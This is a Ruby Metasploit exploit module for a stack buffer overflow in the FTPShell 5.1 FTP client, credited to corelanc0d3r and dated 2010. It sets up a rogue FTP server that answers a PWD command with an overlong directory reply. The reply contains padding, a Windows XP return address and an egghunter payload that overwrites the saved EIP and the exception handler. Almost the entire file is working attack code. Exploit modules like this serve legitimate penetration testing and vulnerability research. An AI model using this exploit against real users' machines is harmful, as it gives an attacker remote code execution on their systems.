/
ftpshell51_pwd_reply.rb
81 lines (69 loc) · 2.18 KB
/
ftpshell51_pwd_reply.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Exploit::Remote::FtpServer
include Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'FTPShell 5.1 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
triggered when the ftp client tries to process an overly long response to a PWD
command. This will overwrite the saved EIP and structured exception handler.
},
'Author' =>
[
'corelanc0d3r <peter.ve[at]corelan.be>' #found bug, wrote the exploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '68639'],
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], #jmp ebp [setupapi.dll]]
],
'Privileged' => false,
'DisclosureDate' => '2010-10-12',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_pwd(c,arg)
badchars = ""
eggoptions =
{
:checksum => true,
:eggtag => "w00t"
}
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
print_status(" - PWD command -> Sending payload")
junk = "A" * target['Offset']
nops = "A" * 10
tweakhunter = "\x5a\x5a"
eip = [target.ret].pack('V')
buffer = junk + eip + nops + tweakhunter + hunter + egg
pwdoutput = "257 \"/" + buffer+ "\" is current directory\r\n"
c.put(pwdoutput)
print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
return
end
end